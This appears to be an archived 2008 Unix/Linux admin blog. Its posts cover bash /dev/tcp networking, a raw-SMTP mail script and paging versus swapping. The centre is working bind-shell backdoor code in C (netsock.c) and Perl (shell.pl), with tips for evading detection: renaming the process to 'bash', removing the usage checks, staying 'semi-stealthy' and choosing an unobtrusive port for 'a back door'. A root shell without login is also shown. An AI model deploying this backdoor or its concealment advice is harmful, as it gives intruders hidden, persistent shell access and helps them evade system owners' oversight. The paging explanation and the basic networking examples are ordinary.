Hope you enjoy it and find some good use for it. If anything, it might make shooting emails out from the shell when you have a good idea much easier (before you have to fuss with Windows and lose your train of thought - Does that happen to everyone else, or just me ;).

Have a great weekend :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# mail.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if [ $# -ne 5 ]
then
echo "Usage: $0 FromAdress ToAdress Domain MailServer MailText"
exit 1
fi

from=$1
to=$2
domain=$3
mailserver=$4
mailtext=$5

if [ ! -f $mailtext ]
then
echo "Cannot find your mail text file. Exiting..."
exit 1
fi

exec 9<>/dev/tcp/$mailserver/25
echo "HELO $domain" >&9
read -r temp <&9
echo "$temp"
echo "Mail From: $from" >&9
read -r temp <&9
echo "$temp"
echo "Rcpt To: $to" >&9
read -r temp <&9
echo "$temp"
echo "Data" >&9
read -r temp <&9
echo "$temp"
cat $mailtext >&9
echo "." >&9
read -r temp <&9
echo "$temp"
echo "quit" >&9
read -r temp <&9
echo "$temp"
9>&-
9<&-
echo "All Done Sending Email. See above for errors"
exit 0


, Mike




Thursday, April 17, 2008

More Fun With Bash Networking

Greetings,

You may recall a post we did about a week or so ago on accessing the network directly with bash. Today's post is a bit of a follow up to that introduction, with some tips and clarification added for clarity and/or enjoyment ;)

1. The basic setup (this will be the only part revisited from our original post on bash networking. In order to get any of this started, you'll need to exec a file descriptor in bash. The file descriptor can, theoretically, be any number, but you should avoid 0, 1 and 2, as these are generally reserved by most Unix or Linux shells for standard input, standard output and standard error I/O. To exploit bash's "virtual" /dev/tcp filesystem (note that you can use /dev/udp as well; it just depends what you're planning on doing - if you wanted to interact with an old NIS server, you might "need" to use the udp protocol), the setup is simple enough. Assuming we wanted to use file descriptor 9 to hit a google web server on port 80, this is what we'd type on the command line:

host # exec 9<>/dev/tcp/www.google.com/80 <--- We've now connected to www.google.com.

2. The rest of it depends on what you want to do. The most basic operation would be to send information to the new file descriptor, read information from it and close it. Those three things can be done like this:

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.0\n\n" >&9 <--- And now, we've requested a search page
host # while read line <&9
do
echo -n $line >&1
done
<--- Now, we read the HTML page that gets returned.
host # exec 9<&- <--- This closes the standard input for our new file descriptor
host # exec 9>&- <--- and this closes the standard output

3. Using HTTP 1.1 instead of 1.0. This is actually quite easily done (and you can do it through Telnet to port 80 on any given host, as well. Telnet will allow you to connect to any specified port on a host and interact with it. You just need to know what to type ;). It just requires a bit more typing on our part. Assuming we have the initial file descriptor set up, per step 1, we would do this to initiate an HTTP 1.1 connection and read from it.

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.1" >&9 <--- Note the lack of the double carriage return. This isn't absolutely necessary, but if those returns are typed, they obviate the next line.
host # echo -e "Host: www.google.com\nConnection: close\n" >&9 <--- This line tells HTTP/1.1 that we want to close the connection once our query, or page request, completes. HTTP 1.1 will keep the connection open until it times out unless you do this, while HTTP 1.0 will close it immediately after you send one request.

And then you can go ahead and read the response and close the file descriptors in the same manner as above.

4. Implementing host headers. You may find that more and more web servers require "host headers" when you send them an HTTP 1.1 request. These, technically are only required for virtual hosting, but it's becoming more and more common for out-of-the-box webservers to run the main server as a virtual host. It's easy to send a request to our file descriptor in this manner, as well. We just need to modify it slightly.

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.1\nhost: http://www.google.com\n\n" >&9

5. Sending a POST request rather than the standard GET. This again, is just a modification on the main method. All you need to tell the server is that you're performing a POST action and send it the POST data (This is basically how the folks in security check to see if they can mess with your cgi forms):

host # echo -e "POST /search?q=linux+unix+menagerie HTTP/1.1\n\nHere Are All My POST Variable=Value Pairs" >&9

6. Ignoring the header information when requesting an HTML page using bash networking through file descriptors. This is kind of "voodoo," but is almost 100% guaranteed to work. The first blank line you encounter when you read your response to the query you send to a web server is (almost) always the end of the header section. The header section includes varying information on web server type, version, age, etc, but isn't worth reading if you just want the web page back. You can avoid looking at it by running this after you make the initial GET request:

host # while read <&9
do
line=${response//$'\r'/}
if [ -z "$line" ]
then
break
fi
done


And then you can move on and continue reading from the file descriptor, and closing it, just like in step 2:

host # while read response <&9
do
echo -n $response >&1
done
exec 9<&-
exec 9>&-


7. What you get if you settle. Interestingly enough, bash's "virtual" tcp (or udp) filesystem defaults to connecting to a webserver. If you simply exec a new file descriptor without any arguments, the "virtual" /dev/tcp, and /dev/udp, file system is still created. It defaults to port 80 and the tcp protocol. In fact, the virtual file system "always" exists. Why? Because your shell automatically opens file descriptors 0, 1 and 2 when it initializes. So, basically, when you login, you've already got a path to the net :) How to use it meaningfully is another thing entirely, but you can do this right out of the gate, just after logging in:

host # echo -n "GET / HTTP/1.0\n\n" >/dev/tcp/www.google.com/80

although, thankfully, it doesn't work all that simply and involves serious risk.

Exec'ing an additional file descriptor is a better practice when doing this sort of thing, because you don't want to muck with the 3 basic ones. If you make a mistake on file descriptor 9, for example, it's no big deal if it gets disconnected or something else weird happens to it. If file descriptor 0 get whacked, you won't be able to type to the terminal, and if file descriptors 1 or 2 get destroyed, you won't be able to see some, or all, of the output the shell is sending to your terminal. In either case, you risk losing your connection to your terminal session entirely.

Again, you can use bash's "virtual" networking to connect to any port that already has a service listening on it. Unfortunately, as far as I know, at this time, there is no way to "initiate" (or bind to) a network port using this method and the bash shell (or any Unix or Linux shell, for that matter). If it ever becomes possible, I'll be sure to post about it, because it will open up a whole new can of worms for all of us ;)

Again, if you would like further basic explanation (and a sample script) regarding setting up bash's "virtual" network connections, see our previous post on bash file descriptor networking.

Cheers, and enjoy!

, Mike




Friday, April 11, 2008

Perl Script To Run A Linux Or Unix Shell On A Network Port

Hey again,

Today, we're following up on the promise we made in this Monday's post on running a Linux or Unix shell on a network socket and bringing you that same functionality in a Perl script. No more mucking with C code or C compilers, but the program is, of course, slightly different (slightly better in some ways, slightly not-better in others ;)

You might also check back on our follow up to the original "network port shell" post, by looking at the usage help we posted, if you run into any funky terminal I/O issues. But this script, and the sockets/shell implementation is a bit smoother and more accessible.

The script can be run easily from the command line, like this:

host # ./shell.pl 45778 <--- The port you pick is arbitrary but should be unused, and over 1024 if you are a regular user

You'll probably want to comment out the first 4 lines of code that do the error checking on the command line and just define your port within the script. That way, when you run it, it won't look quite so obvious that you're running an interactive login shell on a random port. For instance, this is how it would look normally, in ps output:

host # ps -ef|grep shell
user51 8427 1 0 14:49 ? 00:00:00 /usr/bin/perl ./shell.pl


If you make that slight modification (and maybe rename the program to "sh," or "bash" or something else that normally has a ton of listings in the ps table output), you're less likely to be noticed:

host # ps -ef|grep bash
user99 28727 28726 0 10:27 pts/3 00:00:00 -bash
user51 11251 11250 0 13:50 pts/2 00:00:00 ./bash
user00 15595 15153 0 13:54 pts/1 00:00:00 -bash


In the above example, it's kind of obvious which process is yours, but mixed in with 20 or 30 other regular users and all their processes, that might get missed. This is all for your convenience and lack of hassle, of course. We're assuming you're not going to be using this to do anything "wrong." That just wouldn't be "right." :)

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

Now, with this Perl script you'll notice two things. The first is that you won't have the "huge" problems the original C program had with input and output. For instance, this is what it will look like the first time you connect (the double PS1 prompts actually show up that way) :

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh: no job control in this shell
host # id
uid=0(root) gid=0(root) groups=0(root)
host # host # ls
file1
file2
file3
host # host # pwd
/root
host # host # exit
<--- This won't work because it's not really a "tty"
^]
telnet> q
Connection closed.
host # id
uid=501(user51) gid=501(user51) groups=501(user51)


You'll notice, just like before, that the shell on the socket runs as the user who kicked it off, so, even though we accessed it as a non-privileged user, we got a root shell without having to login. Be very careful if you leave this up for convenience as it can become a big problem for you if someone mischievous finds it :)

The second thing I wanted to you to notice (ok, technically, the third ;) is that the shell doesn't get spawned every other Telnet connection. For some reason (the initial disconnect, Perl's functionality or my programming skills) the shell only starts up every other time you connect. For instance, if you disconnect and reconnect, you'll get this:

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


And no output. Just do the normal Telnet quit:

^]
telnet> q
Connection closed.


And connect again. The shell will come up like it did the first time. I'm convinced I may know what the problem is, but have no more time to work on it right now, but I also found that there's a benefit to it working this way. That is to say, when you get done, if you want to keep the shell running on the port and remain semi-stealthy, just don't connect again. Then, if anyone finds it, they'll connect to a seemingly dead port and either forget about it or kill the PID associated with the connection. Either way, the next time you need it, you'll know, even if you get no response, you just need to quit your Telnet session and reconnect to get the shell back up.

Enjoy, stay safe and have a great weekend :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# shell.pl - run a shell on a network socket
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV != 0 ) {
print "Usage: $0 PortNumber\n";
exit(1);
}

use Socket;
use POSIX;

$port = $ARGV[0];
$host = "localhost";
$protocol = "tcp";

if ( $port =~ /\D/) {
$port = getservbyname($port, $protocol) || die "getservbyname ${port}/$protocol\n";;
}
$inet_address = inet_aton($host) || die "inet_aton: ${host}\n";
$port_address = sockaddr_in($port, $inet_address);
$protocol_num = getprotobyname('$protocol');

$| = 1;

socket(SOCKET, AF_INET, SOCK_STREAM, $protocol_num) || die "socket: $!";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR,1) || die "setsockopt: $!\n";
bind(SOCKET, $port_address) || die "bind: $!\n";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

close(STDIN);
close(STDOUT);
close(STDERR);
setpgrp();
$SIG{HUP} = "IGNORE";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

$lsock = listen(SOCKET, 5) || die "listen $!\n";

while (1) {
$shell_shock=accept(NEWSOCKET, SOCKET)|| die "accept $!\n";
dup2(STDIN,0);
dup2(STDOUT,1);
dup2(STDERR,2);
system("/bin/sh -i");
close($shell_shock);
}
close(SOCKET);
exit;


, Mike




Tuesday, April 8, 2008

Usage And Compile Help For Linux/Unix Network Port Shell Program

Hey there,

Today's post is a follow up to yesterday's post on running a shell on a network socket. There are a few notes we'd like to add regarding compilation and usage, once you've got the program up and running on your Linux or Unix server.

First, the compile time note. Additional testing on other flavors of Linux showed that neither:

#include <sys/byteorder.h>

nor

#include <sys/endian.h>

worked on all systems :( We did find that this Linux "include" seems to work as a handy substitute for either:

#include <linux/byteorder/generic.h>

Of course, if none of these options work for you, we put comments in the code that name the functions and/or declarations that we're trying to grab from each of the includes. So, if you still find yourself in a pickle after trying all 3 of these include statements, you can probably find the correct include (.h header file) by typing the following at your command prompt:

host # find /usr/include |xargs egrep 'htons|htonl' /dev/null

It may be a bit tricky trying to find the correct include file, but it will probably have a name very similar to the 3 noted above.

Now, on to the fun stuff: Usage :)

To get this out of the way, if you've compiled and used the program to run a Linux or Unix shell on a network socket, you've probably noticed that the input and output don't behave exactly as you would expect in a regular shell.

Note that this line in the code:

execl("/bin/sh","sh",(char *)0);

was originally attempted in the following two manners (to try and force an interactive shell):

execl("/bin/sh","sh","-i",NULL); <--- Socket would connect, but then it would disconnect you immediately
execl("/bin/sh","sh","-i",(char *)0); <--- Socket would connect, and it wouldn't look ugly, but it wouldn't do anything else either (and we made sure it wasn't just an issue with echo by touching some files and verifying that they never got "touched" ;)

When all was said and done, this was the quickest, and dirtiest, way we could get the shell to answer on the network socket and be truly interactive. However, as mentioned above, it doesn't quite behave the way you might assume. Even shell built-in's don't work correctly for the most part, like in this mini-run-through:

host # ls
. .. netsock netsock.c
host # ./netsock
host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
ls
: command not found
pwd
: command not found
id
: command not found
echo
: command not found


Yet, strangely enough, "echo," with arguments, works (???):

echo hi
hi


although "eval" doesn't work, straight up:

eval ls
: command not found


Now, we can start to have some fun :) Using the backtick operators to execute an "eval" statement and echoing that, we can actually do something, and get confirmation back on our terminal!:

echo `eval ls`
netsock netsock.c
<--- This will always pump the output out on one line, so if you have a lot of files in your directory, you'll get back a long long line.
echo `eval pwd`
/export/user/bin
echo `eval id`
uid=0(root) gid=0(root) groups=0(root)
<--- This will be your PID if you started the program, which may be good enough if you just need to get in and do something that doesn't require privilege. Note that this program runs the shell on the socket under the UID and GID of the user that invokes it (or their effective UID and GID at that time)
echo `eval touch TOUCHY`
<--- We'll touch something, just to see if it works. Of course, we get no terminal response to indicate success, but that's normal since we don't have a prompt to return to.

Now, if we disconnect from the Telnet connection and do an ls, we should have an extra file waiting for us:

^]
telnet> q
Connection closed.
host # ls
. .. netsock netsock.c TOUCHY


Good deal :) Now we'll write a simple script and see if we can execute it from the shell attached to the network port. If this works, it'll be much easier to stage work for the future:

host # vi test.sh
host # chmod 700 test.sh
host # cat test.sh
mkdir a
cd a
touch file
echo "ALL SET"
host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
echo `eval ./test.sh`
ALL SET


And we get the output we expected! Just need to disconnect from Telnet again and check to make sure it actually did everything it was supposed to, and not just run the echo statement.

^]
telnet> q
Connection closed.
host # ls
. .. netsock netsock.c TOUCHY
a
host # ls a
. .. file


Success! Here's hoping this "how to" and compilation-assistance post helps you get more out of this program. If you haven't got the code already, please check out our post on running a shell on a network socket and have a blast!

Just, please, be considerate of others :)

Best wishes,

, Mike




Monday, April 7, 2008

Running A Linux Or Unix Shell On A Network Socket

Hey There,

Thought we'd start the week off with something interesting and off the administrative path. Today's post is c code that can be compiled simply, using GCC (or your favorite compiler), like so:

host # gcc -o netsock -o netsock.c

and works, at a basic level, by creating a socket (much like our earlier posts on ethically scanning ports), calling a bind operation on it and then duplicating the already existing file descriptors (which allows you to use it interactively, utilizing the server's most basic shell).

One note should be made that, depending upon how your terminal, or server, deals with stty's echo variations, you may have to be creative and "type in the dark" to get results back once you connect. Lots of socket and/or terminal I/O issues are possible and, on several machines I've tested this on, I had to be a little clever to get the shell to respond correctly. You'll see what I mean ;)

Some of this code was written by me today, some of it was written by me previously and ripped from older programs and some was collected by me over the years in helpful examples from other folks, but I think the outcome (maybe due to these facts) is fairly unique. I only wish I could give credit to the people who wrote some of the snippets of code I have on my hard drive. If you're out there and can recognize your contribution within this program: Thank you :)

This code may require some modification depending upon where your server's include files are. This was compiled and tested on an older Solaris 2.6 box. Unfortunately, this sort of activity is too high profile to test on any of our more recent machines, since the security department is always looking for signs of an attack on the newer (and production) servers.

During compile time, if you get an error like this:

sys/byteorder.h: No Such File Or Directory

You can fix that by changing that include line from:

#include <sys/byteorder.h>

to

#include <sys/endian.h>

and another common error - " error: too few arguments to function `setpgrp'"

can be remedied by changing:

setpgrp();

to:

setpgrp(getpid(),0);

or:

setpgrp(getpid(),getpid()); <--- If you're not root and going to run this on a port higher than 1024.

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
^]


This, of course, is being published to demonstrate a principle (much like our older post on generating every possible password in a shadow file), but it could be used for more "counter-productive" reasons ;) Ethically, again, I can't recommend that you use this for any reason other than to say you did it and have a little good honest fun :) Note that the "port" defined near the top of the code is arbitrary. I try to pick one that doesn't get used very often. No sense in running this on port 80 on a web server, since a back door shouldn't be too obvious, by definition ;)

In a future post, I'll port this to Perl (I won't be porting this one to shell script, since direct socket manipulation is almost never done at that level - at least, I've never seen it. ...possible extra future post? ;)

For those of you are into doing the porting thing yourselves, checking out our previous posts on checking whether your web server is up and forked socket scripting in Perl should point you in the right direction. I think everything you'll need is in those two posts except for the file descriptor duplication (dup2) functionality.

Enjoy! Hope your week is starting off well and be careful :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

/*****************************************************
* netsock.c - Open up a shell on a network socket
*
* 2008 - Mike Golvach - eggi@comcast.net
*
*Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
*****************************************************/
#define PORT 40236
#include <netdb.h> // gethostbyname
#include <signal.h> // sigignore
#include <stdio.h> // printf, sizeof, fputs, close
#include <stdlib.h> // exit
#include <strings.h> // bzero, strlen
#include <unistd.h> // fork, read, write
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // sockaddr_in
#include <sys/byteorder.h> // htons, htonl
#include <sys/socket.h> // socket, bind, connect, listen, accept, sockaddr
#include <sys/uio.h> // recv

oops(char *message)
{
perror(message);
exit(1);
}

int socket_des, socket_cli, socket_rc, socket_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;

int main ()
{
socket_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socket_des == -1) exit(-1);

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
socket_rc = bind(socket_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (socket_rc != 0) exit(-1);

if (fork() != 0) exit(0);

setpgrp();
signal(SIGHUP, SIG_IGN);

if (fork() != 0) exit(0);

socket_rc = listen(socket_des, 5);
if (socket_rc != 0) exit(0);

while (1) {
socket_len = sizeof(client_addr);
socket_cli = accept(socket_des, (struct sockaddr *) &client_addr, &socket_len);
if (socket_cli < 0) exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0) {
dup2(socket_cli,0);
dup2(socket_cli,1);
dup2(socket_cli,2);
execl("/bin/sh","sh",(char *)0);
close(socket_cli);
exit(0); }

close(socket_cli);
}

}


, Mike




Friday, April 4, 2008

Swapping Or Paging On Linux And Unix?

Howdy,

Here's a question that gets asked a lot, and has a relatively simple answer to go with it: On Unix and/or Linux, what's the difference between paging and swapping?

It's a relevant question, given that the terms are used almost interchangeably these days. Even in most Linux or Unix monitoring commands, the issue can become confused. Consider our previous posts on free memory graphing on Unix and graphing out paging statistics on Linux. They're both showing approximately the same thing, but one of them is using the terminology in a not-totally-correct sense.

The good news is you only need to understand one thing about each (which is also a common thread) in order to understand what the terms "really" mean. This can be a great help when you're trying to determine the cause of a system issue, like a big slow-down. Of course, since the terms are mixed up a lot, it's a good rule of thumb to assume that any problem with "paging" or "swapping" may be a problem with either. Depending upon who's asking, they could mean one thing or the other. As in public speaking, it's always a good idea to know your audience ;)

The main difference between paging and swapping (on both Linux and Unix; all flavors, as far as I know) is this:

1. Swapping: This occurs when an entire process ( sometimes consisting of multiple parts like a read-only text segment, writable data segment and, more often nowadays, writable stack segment ) gets transferred to disk from physical memory or is read back into physical memory from the disk.

2. Paging: This occurs when part of a process ( a page, or a segment, of a process ) gets transferred to disk from physical memory or is read back into physical memory from disk. Paging also requires a MMU (Memory Management Unit) and a CPU capable of handling requests from it. This is just a side note, and slightly outside the scope of the definition. It really doesn't even make a difference any more since I haven't seen an OS without paging capability in years, and most dedicated Unix/Linux servers have had the latent capability for even longer.

Tomorrow, we'll begin looking at a real-life examples of determining a system issue highlighted by excessive paging (or is it swapping?). For today, we'll keep it abstract.

To wrap up, on today's system's (The year now being 2008 - Just dating this in case it gets read 2 years from now and I'm totally off-base by then ;) there's almost no such thing as swapping. Paging occurs normally and, if you do see actual heavy swapping, it's generally an indication of a problem with memory or disk (Except in situations where you have large applications - like an Oracle database, for instance - that hoard lots of Virtual Memory Address (VMA) space and cause the system to swap naturally). In somewhat contrast, if your system is paging heavily, but not swapping, your issue is most likely with CPU or memory. Memory is often mistakenly assumed to be the culprit in most situations because both swapping and paging involve writing to, and reading from, memory. However, it should always be taken into account what other component of the OS is doing the work to make that activity possible, or maybe even necessary.

One last thing to remember is that either of these situations ( excessive swapping, excessive paging or both ) could be indicators of either memory, CPU or disk issues. They could also point to a problem with your network subsystem or any number of things. The generic explanations/answers in the previous paragraph assume a relative norm. In reality, you have to look at the situation in the context of the problem you're facing on the system that's having the issue and work from there.

We'll run down some quick and easy real-life troubleshooting starting tomorrow.

Until then, best wishes :)

, Mike




Wednesday, April 2, 2008

Using Bash To Access The Network Via File Descriptors

Greetings,

It's been a while since we looked at down-and-dirty shell tricks, and this one comes as a tangential follow-up to our previous post on finding and reading files in the shell when your system is on the verge of a crash.

The first thing I'd like to clear up before we proceed is that, in re-reading that post, I notice that I was being a bit of a ksh-snob in the section regarding reading the contents of a regular file through a file descriptor to save on resource usage. My example line in that post, after exec'ing file descriptor 7, was:

host # while read -u7 line; do echo $line; done

And, as most bash fans probably noted, that syntax doesn't work in bash. That's what I get for only verifying the output in ksh ;) What that line should have read (since this will work in sh, ksh and bash) was:

host # while read line;do echo $line;done <&7

Apologies all around. In any event, that "mistake" serves as a fairly decent segue into what we're going to be looking at today. That same basic process of exec'ing file descriptors to read files directly is how we're going to use bash to read from the network directly using /dev/tcp.

And, just to be clear, this "does not" work in Solaris ksh or sh. It will work on Solaris and every Linux I've tested, but only, to my knowledge, in bash. Every version of ksh I've tested (even Solaris 10) can't create the virtual file system required by this operation. I've attached a small bash script, at the end of the post, to check a mail server and http server, so you have a working example of the process.

This method of accessing the network is very useful to know how to do and, going through it step by step, is actually very simple to accomplish. We'll use a mail server as our example since it involves both reading and writing to the network file descriptor.

The first thing you'll want to do is "exec" the file descriptor you'll be using to communicate on the network via tcp. You can do this like so (Just be sure not to exec file descriptors 0, 1 or 2, as these should already be assigned by your operating system as "Standard Input (STDIN)," "Standard Output (STDOUT)," and "Standard Error (STDERR)" :

host # exec 9<>/dev/tcp/mail_server.xyz.com/25 <-- Here we create file descriptor 9 via exec, open the /dev/tcp/mail_server.xyz.com/25 "virtual file" and assign file descriptor 9 to it.

Note that this line is where the script, or process, will either make or break. ksh (Definitely for Solaris 9 and 10) does not allow the creation of the virtual filesystem below /dev/tcp that this operation requires. If you attempt to do this in ksh you will most likely get the following error:

host # /dev/tcp/mail_server.xyz.com/25: cannot create

Assuming we're using bash, and that worked okay, we can now write to, and read from, our mailserver over port 25. This is analogous to doing something like Telnetting to port 25, but we're using a built in feature of the bash shell to access the network via a pseudo file system created under /dev/tcp (It acts much like a /proc filesystem, although you can't see what you've created by looking at the file that /dev/tcp links to, since it's a character device file and the directory path /dev/tcp/mail_server.xyz.com/25 doesn't "really" exist :)

Now we can send input, and receive output, using standard file descriptor redirection commands. A few "for instances" below:

host # echo "HELO xyz.com" >&9 <--- This sends the HELO string to our mailserver via file descriptor 9, which we exec'ed above.
host # read -r RESPONSE <&9 <--- This reads the data coming in on file descriptor 9 with as little interpretation as possible (for instance, it treats the backslash (\) as a backslash and doesn't imbue it with it's usual "special" shell powers).
host # echo -n "The mail server responded to our greeting with this load of sass: "
host # echo $RESPONSE


And, now, we can write to, and read from, file descriptor 9 until we have nothing left to say ;) When we're all finished, I find it's good practice to close the input and output channels for our file descriptor (although closing the input should be sufficient in most cases), and, if you want to or need to, you can also dump the remainder of the file descriptor's contents before you close it down.

host # cat <&9 2>&1 <--- Dump all of the remaining input/output left on file descriptor 9 to our screen.
host # 9>&- <--- Close the output file descriptor
host # 9<&- <--- Close the input file descriptor

Now, you're back to the way things were and you shouldn't be able to read or write from file descriptor 9 anymore (or, if you're a glass-half-full person, it's now available for use again :) I've tacked on a small script to demonstrate some basic functionality, but, hopefully, you'll have some fun playing around with this and figure out more, and better, ways to manipulate your server's interaction with the network through the file system.

host # ./check_net.sh <--- As simple as that to run it :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# check_net.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

mailserver="mailserver.xyz.com"
httpserver="www.xyz.com"
domain="xyz.com"

echo "Testing mail server functionality"
exec 9<>/dev/tcp/$mailserver/25
read -r server_version <&9
echo "Server reports it is: $server_version"
echo "HELO $domain" >&9
read -r greeting <&9
echo "Server responded to our hello with: $greeting"
echo "VRFY username" >&9
read -r vrfy_ok <&9
echo "Server indicates that this is how it feels about the VRFY command: $vrfy_ok"
echo "quit" >&9
read -r salutation <&9
echo "Server signed off with: $salutation"
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "--------------------------------------------------"
echo "Testing web server functionality - Here it comes..."
exec 9<>/dev/tcp/$httpserver/80
echo "GET / HTTP/1.0" >&9
echo "" >&9
while read line
do
echo "$line"
done <&9
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "done"


, Mike